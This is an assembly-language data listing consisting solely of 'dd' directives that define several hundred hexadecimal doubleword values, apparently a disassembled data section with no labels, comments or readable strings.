dd 5E767D2Bh, 0BF30BCF0h, 2EFB3A86h, 90E616h, 0C1965101h
dd 1D3E0BD6h, 48020800h, 91E3F06Bh, 4B21923Dh, 5906EA8Fh
dd 3DA388Eh, 6C373E53h, 1138ACE2h, 0EA951C75h, 1E1D7380h
dd 0CCE31E5h, 5D7EB492h, 0A9916122h, 410B601Eh, 6B95809Dh
dd 0F35CCF25h, 32B9DE34h, 0B7799775h, 20EB525Fh, 43748C3Dh
dd 973C1C92h, 8081BBB9h, 0EE0F302Dh, 1F4A623h, 74C9CEE3h
dd 8BBBF82Eh, 1F7FE34h, 9C1CE728h, 1E5FDD4h, 7C475002h
dd 80CDB7F2h, 0DCFB9A26h, 33327811h, 214CCFCh, 6F682AD0h
dd 5550A400h, 5D6E0BEAh, 0C06348F2h, 70E58F0Fh, 8671B7C3h
dd 8CE2AEB8h, 3D73B918h, 3C430Fh, 7EB7501Bh, 0C4A7BFD8h
dd 446C1200h, 5E8E0CEAh, 3CE04EFh, 0C070DB88h, 0ACF2DF55h
dd 5BAFC100h, 0ABC0C7EAh, 2F510EA6h, 22A032DEh, 6FA58329h
dd 7522B860h, 0A670566Eh, 32A73B96h, 49ADDB97h, 39046A07h
dd 0C5E682B1h, 0CBE0F940h, 2730E200h, 0BFF9D25Ch, 0DC100083h
dd 0D04D183Fh, 0A8EC0A0Dh, 39C83300h, 0B058799Eh, 0BB4A00B5h
dd 25F7301Bh, 1E305432h, 51243AC0h, 0FD56A0Bh, 92B301DFh
dd 0ECC2947Dh, 4D3093E8h, 161D1F17h, 0A4210EFEh, 9BC9E1F6h
dd 123346D7h, 32324A4Dh, 27D2C47Fh, 25DC0600h, 8581BD03h
dd 0EF1B008Eh, 5FC49735h, 2412D9C3h, 8AFA260Ch, 8956F08Ch
dd 0C6811BE6h, 0EEB28304h, 34870680h, 893A5C24h, 0A553A0Ch
dd 10C581E5h, 0C6ED830Eh, 74272C87h, 75681A3Ch, 19D41E23h
dd 7138B780h, 58BA524Fh, 480076E9h, 835AD731h, 893804ECh
dd 0EA10DF24h, 515E0B2Dh, 1FA2C057h, 73871E37h, 7F11459h
dd 84E890Fh, 2D348B45h, 0FF19DA4Eh, 0DE5F269Eh, 26E9C3C4h
dd 0A4D8FBB8h, 6A037C10h, 0D8ADA52Dh, 0D21BB0FAh, 0F297048Ah
dd 0BEC70CB8h, 0A21DB8A2h, 4E8E7B4Dh, 46204091h, 0A5359225h
dd 5900EE7Bh, 17D9C0C8h, 0A2AD3Ch, 19761B74h, 0B716BC64h
dd 42AF2B07h, 4BF00223h, 390A144Eh, 6900242Ah, 0C45E877Eh
dd 45002010h, 3C1A6461h, 5ED08F33h, 3A90B70Ch, 785044C1h
dd 9AE71DBBh, 0DA2FFF3Dh, 95724250h, 0D7F8145Fh, 3846FACCh
dd 5BACC920h, 9CE7B8DEh, 5450FC8Bh, 0B524400Ah, 5A000C74h
dd 61E7C6F3h, 27B1EECh, 63D6ED1Bh, 9457830Fh, 2578007Dh
dd 3CF3B818h, 7D00B994h, 0BBDFB591h, 95B2AA33h, 0E65711CAh
dd 0C4B70BFEh, 856D6AFCh, 38C6DAE0h, 800900AFh, 0BF66E0E3h
dd 6A5E3D1Dh, 0A1F0A2E6h, 9D504901h, 0A4115B4h, 0CFE59201h
dd 904B376Ah, 3BFEFB6Dh, 7D3229B5h, 0EE0129BDh, 2F3DB529h
dd 19BF6F81h, 78D1FFB1h, 21048EF6h, 0AE13ABC9h, 435A286Ah
dd 0D890DB95h, 55395913h, 6005F772h, 26A5B50h, 0C57760BCh
dd 4162B290h, 95BD01DFh, 0BE2D6F29h, 700C7E46h, 0A2479DE9h
dd 40174212h, 306FEFh, 2838B969h, 4B8CCE9Bh, 0D84C8A6h
dd 710046EAh, 2D2B69DBh, 197CCDCh, 0F823B354h, 3F4349AFh
dd 31B8F534h, 504A2120h, 0E7FD26FBh, 0E9BD2B0Bh, 7288D414h
dd 38054B5h, 0DB852613h, 4E75E689h, 92B2A20Eh, 0B2320FAh
dd 2B02961Dh, 0A1182450h, 0D102F5A0h, 0F30E3585h, 5304CFF3h
dd 0FA880F5Fh, 97FF64CCh, 0AC0068B7h, 27BE0EE3h, 0B2335E13h
dd 810F080Ah, 9D0CA803h, 10A9F4E0h, 69A7A597h, 9FFA2CE4h
dd 1578CAB1h, 921180ABh, 695BCD54h, 0D11049B9h, 0F782CB30h
dd 0CEEB7F18h, 71E4B117h, 4FFA20EEh, 331EE218h, 7B822EA3h
dd 0F65FF52Ch, 0A82817C2h, 9722DD73h, 78AF70F1h, 0A44552F4h
dd 0EB93844Fh, 4978098h, 0BA735CDBh, 0F7804206h, 0E937E1Ah
dd 0D1D0658Dh, 1F8E024Dh, 7724B5D4h, 0DFA6C550h, 53A283Dh
dd 5FA89E7Dh, 0C8004AF2h, 49594F4Bh, 2F00AB45h, 23EA0DB5h
dd 9F3BA2E1h, 5ED6B192h, 51D18B09h, 32CA033Eh, 0A3D8F401h
dd 510017C6h, 5ACEF06h, 13769CC8h, 0FB327FB9h, 5D899D32h
dd 0E93309FAh, 0DB3317ACh, 8B059C25h, 0E9961285h, 792E80DCh
dd 13BAA86Fh, 0EF6D19C2h, 5FBF3243h, 0AC0E5BA5h, 599EC03Ah
dd 0C6B7EAh, 92B15B3h, 34F7B93Eh, 0C8A42F09h, 44BDFA05h
dd 0D1BF6026h, 47870323h, 0DA806866h, 2500843Eh, 0F23F282Ch
dd 2E4163Ah, 97D0ABD8h, 4B72E961h, 1ECF8100h, 8B2DB9FCh
dd 3FF6B8Dh, 3B275DF0h, 44D1E483h, 95100931h, 1A902879h
dd 219FFE2Ch, 94CA082h, 7F04421Dh, 0F0EAEF80h, 38005A2Bh
dd 9EB62253h, 0FE6E99D3h, 0CDB09F91h, 0F5813E6Ch, 65B1E42Fh
dd 0CD2733B6h, 601764C9h, 7F673F83h, 89E4E3h, 0BB184779h
dd 1020C4FAh, 0C165B939h, 2702C2E8h, 94E269FFh, 387CB77Dh
dd 88406E00h, 0FCEAC156h, 0CE9FED95h, 0C2D31900h, 0B79DC02Bh
dd 0EEB100ECh, 9888F2D5h, 0BD4DF716h, 5102DECh, 515F2727h
dd 7AD62DF4h, 89BA60D2h, 9B4D5FFAh, 48A480BDh, 1261DDF2h
dd 0A7880D0Ah, 0EC0B048h, 498698DDh, 0F74B0E09h, 4B510CBh
dd 0B87BF9A4h, 0A2764E2Ch, 6AFAF4E3h, 0BB250B3Eh, 4C375FA1h
dd 680EA580h, 1C43AF8h, 31CAE478h, 799B5h, 2D6A70BFh, 54508F3h
dd 1AFCB510h, 0F767A08Ch, 3C3B1721h, 0A811AD1Ch, 8A508C14h
dd 1B5F45D9h, 1CBD54BDh, 38F69C8Bh, 0FFE08D02h, 0C04E8720h
dd 83246142h, 0B7FDE1D2h, 0B5900A8h, 66D0B441h, 0E7E1D326h
dd 0E43D530Bh, 0BB8C000Ch, 2D2EFFEEh, 63023A61h, 371244CEh
dd 0B2CDDD31h, 14F28C96h, 0F45FA2Dh, 0B704A03Fh, 214FEBD0h
dd 0B9E295B8h, 27DE742Ah, 6C6235D6h, 0E259CDFDh, 0DD4BE95h
dd 0E7F0F513h, 8EE8B152h, 0F1413431h, 3F5BA61Eh, 0F711CF49h
dd 0C681A33Dh, 0EA153067h, 27DC52F0h, 43E6800Fh, 0EE100127h
dd 0CDA281F8h, 268AFB15h, 0A6E7B5A0h, 0A7203AF5h, 96B47B2h
dd 0F93CCB8h, 0E1E38E7Fh, 899857Ch, 0A1615AE0h, 7CD2CFB4h
dd 0DC59A702h, 95298630h, 68AFC0F1h, 6C150EEEh, 58273790h
dd 11F20130h, 23EC0A0Dh, 9719799Dh, 14E40ACDh, 0E85162h
dd 9B9F3FE9h, 0D6B298D1h, 20F4EB26h, 0D81D9B02h, 31050E8Ch
dd 0FD70AE8Bh, 16C98CCh, 0DE6625E6h, 4095417Ah, 0BD01DF91h
dd 0EE290D27h, 0D78013FCh, 4CDDF32Fh, 0F4412606h, 5540D6A7h
dd 0A051F40Eh, 1698F1E3h, 0E4F256Ah, 46D6EFD6h, 68DF0218h
dd 0E28EA3D3h, 8DAA5798h, 0FDEA2D48h, 0F432007Eh, 0D8655D0Eh
dd 0FBF865A1h, 729603B2h, 8F4FD11Ch, 2A53C2B9h, 0F1088h
dd 3273BC9Fh, 11929170h, 8EA21206h, 708AA5DDh, 2B5B815Dh
dd 0AC4A32BCh, 0CEB88029h, 7A54313h, 162391E3h, 1CDF0053h
dd 0AF1257CCh, 548CAA9Eh, 2D613DB6h, 5199EC00h, 0CD5A8F0h
dd 37A2C500h, 0FF39F9C1h, 0E0715043h, 12ED9C99h, 58D5AF61h
dd 195882EAh, 7EE931D4h, 7BE0531Dh, 5D5B4025h, 0F9CE3FA9h
dd 127D9455h, 0BAF2B752h, 3FFEE548h, 56BC3EE0h, 0E8A44047h
dd 20ABF02h
dd 0FC582505h, 0D58E40BAh, 8C003E12h, 831950B6h, 12F0AC3h
dd 334AF45Ah, 431F1BDh, 0EEE385AEh, 4980D99Fh, 0BAA70860h
dd 929BF39h, 54905AF5h, 31E7408Fh, 49005C22h, 172CFAE2h
dd 5668B67h, 5FFBA3BBh, 0DD9BBE50h, 522FA7C1h, 3CDA7B5Bh
dd 0ECC019C8h, 13ED6B9Ah, 6F618F26h, 5F4A2452h, 0D9299160h
dd 9E9000CDh, 1602ECC5h, 0FB0E98BCh, 42D3BFF3h, 0D45B4B39h
dd 610B5960h, 0F4B33EA0h, 5119D1D2h, 69FDFA03h, 0BD2B5B24h
dd 0B0E84FD4h, 9D770E25h, 9A53DAD4h, 2D749E50h, 0B3F0E0DFh
dd 10352827h, 1F3E25A8h, 0C0AEA9BDh, 0BF0C2751h, 0CE015484h
dd 430F7D37h, 74383C41h, 0D5F0D480h, 0BE0091E4h, 5B193840h
dd 2036680h, 9B8ACE71h, 41D4DA8Bh, 0C1142251h, 4B3D0D82h
dd 91112ED8h, 760DD962h, 0DCFCEB67h, 54AC4B3Dh, 0A23FA6B5h
dd 100775ABh, 0DF9D9D9h, 5061DB69h, 0FC3BE5DAh, 2A4203D8h
dd 13FEE3DCh, 490A4EEh, 0FD2D1525h, 8C19BCF8h, 0FA5E8401h
dd 5731F0B0h, 97086F24h, 894BD5F4h, 138C0F03h, 0F8E3D6C8h
dd 1A481CBCh, 0FF1EC720h, 10F7195Bh, 97B70FC4h, 28CDDE60h
dd 7ADD53B7h, 550017CEh, 15F2701Dh, 0B55144B4h, 5F9382F1h
dd 205DF2F7h, 0C01D2A8h, 1C9C4EF8h, 6088EADBh, 0C32C1085h
dd 0AF6FFC27h, 94D6ECDCh, 0FC69C472h, 0B5C4DCEBh, 0DDBA05A5h
dd 0D7B2516Ch, 0F5CA2FD5h, 19BB5001h, 7A21E0ADh, 839E78Dh
dd 4C001AA8h, 9FB4662Bh, 0A11315CBh, 303FDEF9h, 0F7C38174h
dd 566B5D11h, 8F0D9B92h, 860F046Dh, 727F2689h, 0C4F8FAE8h
dd 639A989Dh, 891E0F8Ah, 0C4A1DDC5h, 19726728h, 65EF9041h
dd 0FED3AA78h, 66500C32h, 0DA810555h, 0F60BD605h, 4A65D5D5h
dd 6901A06Eh, 5BF9535Dh, 5493CE8Ah, 7E11BDA1h, 0A51293A2h
dd 0CA7DFD18h, 0D914C260h, 61604093h, 2D7FEF97h, 4640404Dh
dd 2FDA1BF2h, 76CEF1C7h, 0A2238120h, 0D0A5EBE1h, 158D1DBh
dd 60967771h, 0D157A0B4h, 0EB95EB61h, 5A1D6530h, 9B7409FAh
dd 1077F3BAh, 270F96B5h, 6353FBBFh, 7B191859h, 0BF02E7A2h
dd 0B60AE10h, 161BD7Eh, 9655F9B5h, 0B7D82A09h, 80181140h
dd 0CDA45253h, 5F10B5ADh, 420437DDh, 0A2B71626h, 12D1B7FCh
dd 9A98B502h, 937E578Fh, 0FB09CF53h, 40DFD260h, 46056CBh
dd 0B1950BF5h, 594A528h, 0DD53ABE3h, 23816BEBh, 0FEC6121Bh
dd 822B64CDh, 0CFDD2D04h, 1F98E084h, 0A7106F7Eh, 0EAE4C0FBh
dd 0E42D9A6Eh, 3D3F2B51h, 95C680ADh, 0E6C1BAF1h, 5BA41720h
dd 6E1092Dh, 0D99EE8F8h, 219605DCh, 16E9CAA4h, 0D28BB37h
dd 63B00A3h, 0C2806021h, 8D24091Fh, 6184FB45h, 7DE2C18Bh
dd 0EA87BC03h, 0D2C98555h, 0D1BC2F49h, 0D019DC2h, 2CAC9004h
dd 0A5C5C31Dh, 970EBDBh, 0E5224F55h, 0EE7731E5h, 7AC6E9ABh
dd 6D27017Ch, 7E6BDC0Ch, 4D031846h, 0B2D835BAh, 0C41D6822h
dd 0BED92BDEh, 0A6034D7Ah, 0FE3D8F60h, 3440587Ah, 4F55EC29h
dd 0FE34FE1Ah, 8D05EF6Bh, 4E270ADh, 81C9FDB5h, 1D157Bh
dd 9BE6090h, 171E51E4h, 0C4BB8080h, 7C7E4F1Ch, 0DBDD10B5h
dd 0BADF07EEh, 24BD312Fh, 0BC9BF03h, 2D1D509Fh, 0F1C214EFh
dd 0CCCC5DDCh, 0D461BD25h, 9DE353A1h, 38F506BAh, 4BFFF869h
dd 807D9BD1h, 8E3E84D9h, 0DC2702E1h, 1A39BD33h, 4A0C1C75h
dd 0C7F7ED84h, 5FEBE726h, 6ACEFA18h, 0F9B025Bh, 33474A80h
dd 46FC8676h, 3FB9A34Ah, 2429929Dh, 8784FB6Fh, 2D1B2BEh
dd 5F66B351h, 0DABEC950h, 0FE5AA06Fh, 0B5D9EE97h, 4250E453h
dd 0AD490FF1h, 0F78D34h, 9002D7EBh, 0C4BAEE9h, 3510F38Bh
dd 59B662D9h, 6BB05D18h, 5073599h, 0F1E276E7h, 0EADCA3C1h
dd 12E8A1CBh, 72154810h, 43FD1900h, 838803EFh, 55577E0h
dd 0FB1280C7h, 0D5EE824Dh, 5669CAFDh, 1786AEFh, 0B35030BAh
dd 3B5F3A99h, 0B85A1991h, 23C6C072h, 14E175Dh, 0BBA11561h
dd 888876EDh, 2D07B95Eh, 81E006DCh, 43D47EBh, 0BD0139D1h
dd 0B5E8B821h, 0F1E90DBBh, 0D41E3C1Dh, 98FC7F4Ah, 0EC3FC200h
dd 84429DDCh, 5F960129h, 0D283A04h, 0EC2639Fh, 27EE4810h
dd 801161B4h, 0A62EF7DBh, 301CF25Fh, 393B1976h, 0CC80855Fh
dd 35C2B7FBh, 254152BDh, 0E8CCFEBFh, 0F541E264h, 0BE1094FBh
dd 72F85D09h, 23D161BDh, 7A158501h, 0C8B62645h, 38002DE2h
dd 9271DF4Bh, 0BA5A6731h, 0B7B186E8h, 2E306128h, 36480604h
dd 0BB1EBAB8h, 25C3E611h, 9D5C9162h, 4467CA40h, 62EC0225h
dd 4756C630h, 20272902h, 8CBFC82Bh, 485604Eh, 0BDE3C1FBh
dd 73DF912Ch, 0ED107748h, 7522620Ch, 9746E42Eh, 5A57B512h
dd 8D5219Eh, 0B7AD50A5h, 8AC698EEh, 456B0E81h, 59332B3Eh
dd 56B88CB3h, 2F208D5Eh, 449831BCh, 14972479h, 9186C45Ch
dd 0D9801904h, 11C6B17Eh, 2B254122h, 0D184F6F2h, 6F88174Eh
dd 4D7A0352h, 6A666D02h, 0F0E6EE84h, 0E721E112h, 6E603162h
dd 0A7940F85h, 0F55EFEB5h, 89D9DDA5h, 0E208B935h, 0C7C298A1h
dd 0D8620104h, 9FE5CF89h, 3AEFE032h, 0CD580997h, 64B4C0F5h
dd 0FC4F2FA4h, 0E0E124B6h, 0FD74F058h, 14127024h, 0C8E9B813h
dd 0B30526F8h, 659D31F5h, 55B59352h, 0F0FAE66Fh, 0EA63B6h
dd 8E22FBB9h, 718D315Dh, 2CF60B4Bh, 0DF27E9D4h, 930031B7h
dd 7119BEA8h, 8C960E84h, 5E9B531h, 0E3C0DFD6h, 9EE43Ch
dd 4EB8CDF1h, 6953755Ch, 0DC9FF325h, 0D4251350h, 3CCCAFD2h
dd 0E3CB3C81h, 8262ADCEh, 5C250985h, 25AFEA7Fh, 4DEB6465h
dd 66E141CBh, 0B83ED5BBh, 5109AFAEh, 0FABAC443h, 4700157Bh
dd 0AAC11651h, 0E5301D28h, 72C27625h, 7C7B97B8h, 6F30F0h
dd 2FD7FE79h, 60B34321h, 0D266BF04h, 62BF3BB6h, 69201055h
dd 79305Bh, 9D5F2549h, 0E568F153h, 0BC7C4202h, 0DF95313Eh
dd 42FD47CAh, 70837BD9h, 0B604C2D9h, 0FE5EA07Eh, 651F88BFh
dd 0C9E4CD00h, 0E1C10FCBh, 3CE4B790h, 70207216h, 5FE532AEh
dd 9751415Ch, 0B8F6F915h, 3A8902BDh, 957DD5FBh, 0C8A4DDDBh
dd 0CF038189h, 8FE74016h, 450903DAh, 71F8AB8Dh, 571B447Ah
dd 0D8BD09BEh, 0F2E78A01h, 0ABA42E8Ch, 22B92085h, 0DE8B5609h
dd 0BC4E705Fh, 0D125DC86h, 0DD5EC946h, 0B6EE84C3h, 3E11E7B4h
dd 0C22F0DB3h, 800118ACh, 0A66ED5F3h, 0C5BD124Ch, 7C9457E2h
dd 50BC4402h, 0C57E880Fh, 0BE9DD0C9h, 7995DC33h, 5B2E92h
dd 0FC68133Ah, 0A94BDF5Ah, 3FD424F5h, 17607856h, 51A29D8h
dd 0BF8D010Eh, 0B8046156h, 19A89ED3h, 0E00289D2h, 0B048617h
dd 1E2845F4h, 37ACAEC4h, 0F6B2D3h, 53DC3AA0h, 0B7E32C66h
dd 0E997CD73h, 0CA4CE3F5h, 0A0600B2h, 8F75F034h, 1301FBF8h
dd 355DC9FEh, 671BCE1h, 5B9FD23Bh, 5E2D2A5Ch, 0A102F66Dh
dd 0C5711BBBh, 2D485C75h, 0BA612B4Fh, 0D22D722h, 34810F17h
dd 36D9AF9Ch, 5467F2Bh, 7A7F319Ah, 61A80BAAh, 0F4B5D593h
dd 64A8907h, 98E099E6h, 0B92F9529h, 5237DE07h, 5FFDC25Fh
dd 35554C32h, 3EF30051h, 12BB20E3h, 6FCC5413h, 2620D7A8h
dd 0ACC98B5h, 33500E7h, 9B7B9E0Eh, 0B302C4D3h, 0BE431613h
dd 0F2A44002h, 34D4C42Ah, 5FBAB224h, 80C3C7A9h, 5090F59Eh
dd 71259D23h, 2244CE04h, 68E0870Fh, 674AEE09h, 3BD87A3Fh
dd 0B2CF7849h, 6E0200ADh, 3B633D32h, 0EB7F4AC6h, 7D98FC36h
dd 2506115h, 2ED88B52h, 0F1BF5502h, 2019F71Fh, 68B426F5h
dd 6145859Eh, 0D1C0399Bh
dd 0A16AE8D7h, 1790202h, 7D03B595h, 53AF8F4Dh, 9DB650CBh
dd 0BFEF6402h, 57192CE6h, 5EBED5E5h, 0A301777Bh, 3C4F0898h
dd 0DC252B50h, 0BE7964AEh, 0F0A0016Fh, 8B4F2673h, 800AC0A2h
dd 0D6273ECBh, 2C482E04h, 0CFACFA8Bh, 370415A1h, 9DC9B07Ah
dd 2ECE0B2Dh, 0A178118Eh, 0E38905A5h, 0ABD7503h, 1732104h
dd 78FBF5BBh, 1D0FAA0Dh, 69897F1Bh, 9500FFF1h, 8C25A4AAh
dd 0D18300C7h, 5AB3DDE4h, 3A97EE30h, 85C1353Ah, 491D2718h
dd 9D1BA37h, 0D66F803Eh, 0C0EAD87Dh, 70539786h, 1B9DCB3Dh
dd 8068DA6Ah, 3C7FE36Bh, 3D940EE0h, 0A0339589h, 0BF0496D1h
dd 451EFBA1h, 0AB51D7FFh, 0DFC0EE6Dh, 3D7420Eh, 80605363h
dd 6C38E2CFh, 4C61C005h, 912F55Fh, 7C31E706h, 99AF84Bh
dd 31C215C8h, 2807F5Eh, 0F7BF5ACAh, 18E9312h, 0C0FFDFBAh
dd 0DB6C567Dh, 28B1091Ah, 0DED1CCCAh, 0ABE0F900h, 74F3E7F8h
dd 0AED917DDh, 228A1256h, 205C5F55h, 1BB8FC64h, 6D0E0D6h
dd 7AD45BB7h, 0E6809B4Eh, 2525170Ah, 603DC2DDh, 971C85E7h
dd 1744A5CDh, 0F6726060h, 0FBB8554Eh, 0AB76CA25h, 628EF46Bh
dd 0A3D05061h, 6AEE5B4Bh, 4B604EF2h, 1CF9F18h, 2675C11Bh
dd 31660DC7h, 6B362B64h, 0D5A48213h, 6B6AADC9h, 2B24676Fh
dd 2BFC2D59h, 54E7D9A5h, 0A592DD09h, 4735759Ch, 3C801B91h
dd 0CF711286h, 112B5D17h, 0BB797633h, 144BE04Fh, 986302ECh
dd 0DE89B9C8h, 20EA44E0h, 80B6D9BFh, 0F1DFCB79h, 0A997265Ch
dd 0D6AB76FFh, 0AF121546h, 589E348h, 2949B589h, 7B0339BFh
dd 6EAE1495h, 66450B40h, 0BBADA0FEh, 5C18A056h, 0C84BB00Dh
dd 77249378h, 55015591h, 603A2940h, 242F4031h, 0B1138079h
dd 6E4E4341h, 966A36DDh, 0DA4A408Bh, 0BDB230EBh, 6851461h
dd 7D08820Fh, 2028789Fh, 5B5F2575h, 4AAAAACh, 1E0D2111h
dd 30452AC1h, 51DF8B00h, 4E625895h, 0F2E3FC04h, 0B0D72B1Ah
dd 4B59BDD5h, 0BB359C10h, 0CB3A709h, 55C77D7Fh, 0E9D8B380h
dd 0E3FFF43Dh, 92C1DB2Fh, 0C36E9729h, 39C909C8h, 0D626192Dh
dd 0CE5529F2h, 0C28A4EECh, 8EAE356Eh, 0F9A58DC4h, 54BB02FFh
dd 500A6A68h, 645DBCC9h, 5A7EC067h, 0DE04DAA0h, 0CCFFDC86h
dd 0D8E089FFh, 7E4A7C64h, 8A64D61Bh, 0E532D70Fh, 444555h
dd 474479D5h, 2E76935Dh, 0FB5A6995h, 0ACE84E00h, 813537B5h
dd 55D1912h, 29E7641Fh, 104A44B0h, 6B42AEC9h, 549F42DBh
dd 68BF407Bh, 0B15F77B3h, 5F2559E3h, 0DD3753ABh, 0EE16B480h
dd 2DD6FAACh, 4A614952h, 0BE600015h, 705F01AAh, 11B96620h
dd 0EAA35538h, 96253012h, 72BC89B9h, 0A7D9894Ah, 560BADD9h
dd 0FCADF0C9h, 88585AC0h, 4C009E67h, 3F36D2EFh, 45216F0h
dd 2567A189h, 6DDC81ADh, 0A91D042Eh, 31204DD6h, 1CCB81D1h
dd 6537D014h, 0F827C365h, 0CB549581h, 15B003DCh, 0D6A5CC6Ah
dd 2A4D02A2h, 62942FE0h, 0C8D94E08h, 0A37D76F1h, 0B6CA6A1Dh
dd 780D2382h, 13407E37h, 3D68A0F9h, 0CD3E2C41h, 55616BB6h
dd 843FD88Ah, 0BCDDE9A7h, 980FC14h, 0B509AADFh, 56284257h
dd 1446D603h, 0C4E35Bh, 0A4192B45h, 1676C82h, 2EF93C46h
dd 0A1BA0E07h, 0F7808BECh, 0D7381EEBh, 0DEE00B9h, 31532515h
dd 2497D9BDh, 38AEBB0Ch, 0F35816h, 2ED58D09h, 0F49BA823h
dd 0F2020B73h, 0CA50F18Bh, 0B482DD84h, 8A070FD9h, 0D6037E5Bh
dd 0A10E1A46h, 218270B4h, 6A40C70Fh, 0C28304F1h, 4BCCFD80h
dd 0B688604Ah, 0AD720041h, 0BE49F4AFh, 5202FE8Fh, 0B3906136h
dd 0CB3C5CFAh, 6C5E6002h, 0C48EED77h, 82A0601Ch, 765D0290h
dd 97EB1B8h, 2A56B862h, 7D6AF562h, 6FE0F2CDh, 5C15BF66h
dd 0AF4F0B33h, 4ED4B14h, 67A0454Fh, 28A2AB9h, 0EBB09391h
dd 15058F04h, 210BAC12h, 1BB0E89h, 8157A2E0h, 580452EFh
dd 71E46734h, 79801EBCh, 240E290Ch, 0E6104E00h, 0BAFF1AC1h
dd 0F4A7F8CFh, 1A1D5BF1h, 7AD79714h, 43BF6470h, 4B57B8FCh
dd 451231EBh, 0D0C5042Ch, 608D30EBh, 7700F22Ah, 0D8AB80F6h
dd 287E0C58h, 1A82403Eh, 325B1CC0h, 8DF39603h, 3B2BF0A9h
dd 892A22E1h, 0BBA03BF1h, 0B50116D1h, 0E9504691h, 9D816776h
dd 0A6FF45Fh, 7BAC8B5Fh, 9642097h, 6094257h, 563C7E1Ah
dd 0D78183D1h, 105B9C37h, 4B2B37B5h, 2854174Bh, 0A70902E0h
dd 90763065h, 382FD33Ch, 2133E931h, 342EFD8Ah, 2DA30557h
dd 8262BE21h, 0E1A9291Ch, 0F516525Bh, 15F3C10h, 71FCDB81h
dd 612E1EF8h, 35FD94Ah, 0EF26026Ah, 3A25A8B0h, 919BB555h
dd 69338216h, 5416093h, 0ACB9800Bh, 33BE0F70h, 0E5C204DEh
dd 0E0638954h, 0CDB71EE7h, 6018444Ah, 17120F46h, 0A0FC4C40h
dd 0C04F2BE7h, 5F82B2DBh, 0C4FDBD30h, 0CE6A03DDh, 0EF131A6Dh
dd 694B9290h, 0BDD5BB03h, 9C9D700Eh, 5BD0C2FAh, 0DA484F5Ch
dd 7334B509h, 0A36D692Ch, 0F197DFC0h, 8C504F84h, 9D102B01h
dd 5B253051h, 0E0C2E26Dh, 0D9F6E057h, 363A9703h, 9FDCD074h
dd 0E49DF77Eh, 929B5CBh, 97CAD0AAh, 2549CF9h, 0C6E14BDh
dd 0E6D56234h, 0FA4E9559h, 1D44696h, 57600D35h, 3F5A50B3h
dd 82008BB2h, 1343C161h, 0CB056C66h, 26BD8531h, 0B21152FEh
dd 0BDD5B7B0h, 899441AFh, 2E2C55B5h, 97679638h, 0E98775BDh
dd 0A9100129h, 9DF2A1FAh, 1314EA04h, 293F0FA0h, 849BB80Eh
dd 0AB32C19Dh, 307DC22Dh, 0AA1302A8h, 6212E3EBh, 418D7302h
dd 0E447DD23h, 0BB05D111h, 2C555F3h, 25A99DA3h, 1193E757h
dd 2BF455D4h, 448E0A28h, 0C3008104h, 594CCEAh, 4D2AE680h
dd 0D55AC161h, 8119DBBBh, 8E0FD55Dh, 0B34F1C32h, 277980FBh
dd 252DBE4h, 9634E09Ch, 4C5C18BCh, 45C3727h, 0AFE1B4A0h
dd 0C44A45E2h, 8A6EFE66h, 57F46F16h, 8434BF39h, 26106FADh
dd 98B05A01h, 55D49D31h, 2C8F1869h, 6086002Ah, 3F4F01AFh
dd 4B009B53h, 0A21FEC90h, 1C95D0D9h, 0BA318DDBh, 5F257CC9h
dd 6C9F66C6h, 88904BC7h, 0C5BDBC15h, 0FCD43B62h, 0B7FCB090h
dd 6A12C75Ch, 0BF232F6h, 0E52C677h, 1668A8B3h, 0E8DECD84h
dd 0DDF687D1h, 0C0C088F5h, 3656A7h, 0D6530C9Bh, 5250EE39h
dd 29C17EE5h, 7D38F88Ah, 0E997C34Ah, 712151F9h, 2EFC6ED2h
dd 0D1A59A5Fh, 9DBBC4DEh, 42358Ch, 83C50F8Fh, 0A6E1BFCFh
dd 8960F916h, 0CCFC7FEDh, 0A845741Dh, 0EA6012BEh, 27E11404h
dd 266E903h, 118CAF85h, 0F61500A4h, 43945E96h, 230B9AB4h
dd 857684D1h, 99BAF9D3h, 0F4F66BF9h, 0F830EA5Bh, 0B714459Dh
dd 0F47ACF53h, 0C75ACB78h, 0B76BF401h, 810FDC61h, 0DC56668h
dd 0FBD7A42Ah, 4A3E63B5h, 7BB4DD0Ch, 0C101B76Ah, 3EE04623h
dd 10A420B2h, 1451FD16h, 98DBDD17h, 98FD4189h, 2FBD23D2h
dd 0FBF3297Dh, 0A4B75800h, 3E402F90h, 0A58F9883h, 0C025EF3Ah
dd 7DD8FAF8h, 9D311257h, 0ACCD2481h, 916E4ACCh, 782ED000h
dd 0C1E854DEh, 0F89D34FEh, 29DF122Bh, 1942FE8Dh, 0D879B350h
dd 7B11BDA2h, 9D0B1106h, 0FF133769h, 67EEBB5h, 0B75A40Bh
dd 40089584h, 0D99D0950h, 0BBA69E28h, 21CA190h, 90994768h
dd 60E94018h, 0E5BE1266h, 0E00EEBDCh, 7AF43756h, 9AB88081h
dd 0CD188F27h, 4880CF3Ah, 952189D2h, 0C2A0B201h, 41BD2B77h
dd 0B8091334h, 0A81A5B0Fh, 0A401AEE7h, 17BDB48Ch, 4D5BF8AEh
dd 0BF66D901h, 6050542Eh, 4E800738h, 94028A0Fh, 364C9700h
dd 390D4AC1h, 479D1F2Bh
dd 0A2D9171Ch, 44B77EB6h, 0CB780037h, 7CFDC8ECh, 59125FC1h
dd 74E9C0B4h, 0E448E65Bh, 2291D9EBh, 0FED929Dh, 0B2D1FCA9h
dd 0A109F2F8h, 8FBCBA7Ah, 122C4801h, 0DFFF0261h, 765EE3DBh
dd 6318CD7Ah, 665B8A4Ch, 0BA5412FAh, 0E94E0BCFh, 13D9BCF8h
dd 0A161B529h, 9D502BAh, 6695D670h, 0FDBD1059h, 5D2EE25h
dd 1CC9331Fh, 418AC4C9h, 0A240BC2Fh, 8B128C8h, 0B5791CEDh
dd 0BB4427A5h, 4307F1B5h, 6C04AA58h, 5EA388Ah, 4848F3BBh
dd 0FEF25A62h, 33D12D76h, 95DE7CD4h, 4D0ABA30h, 0FAF59200h
dd 3614BB65h, 0F9054A18h, 8C17ACFDh, 0A57EC73Ah, 6400ED27h
dd 278C6015h, 38C4BF96h, 21C0FB0Eh, 0B45D27AEh, 0BC1024F7h
dd 516BF06h, 5F46CBC8h, 25FFFC50h, 52B8E5DEh, 940DAFEh
dd 0B7305DBDh, 1D795353h, 0D4BD58h, 9F737795h, 9D5CB6F0h
dd 4809C258h, 0FDA74A08h, 0CF3BA95Fh, 76BE52DDh, 0A8B8F0FDh
dd 0F0B2694Ah, 6D55F889h, 0AA6C4916h, 0AB4B300h, 0EE76CB6Ah
dd 852909CCh, 0C4DD3271h, 0C85381A3h, 0DC209DEDh, 0CCC69D99h
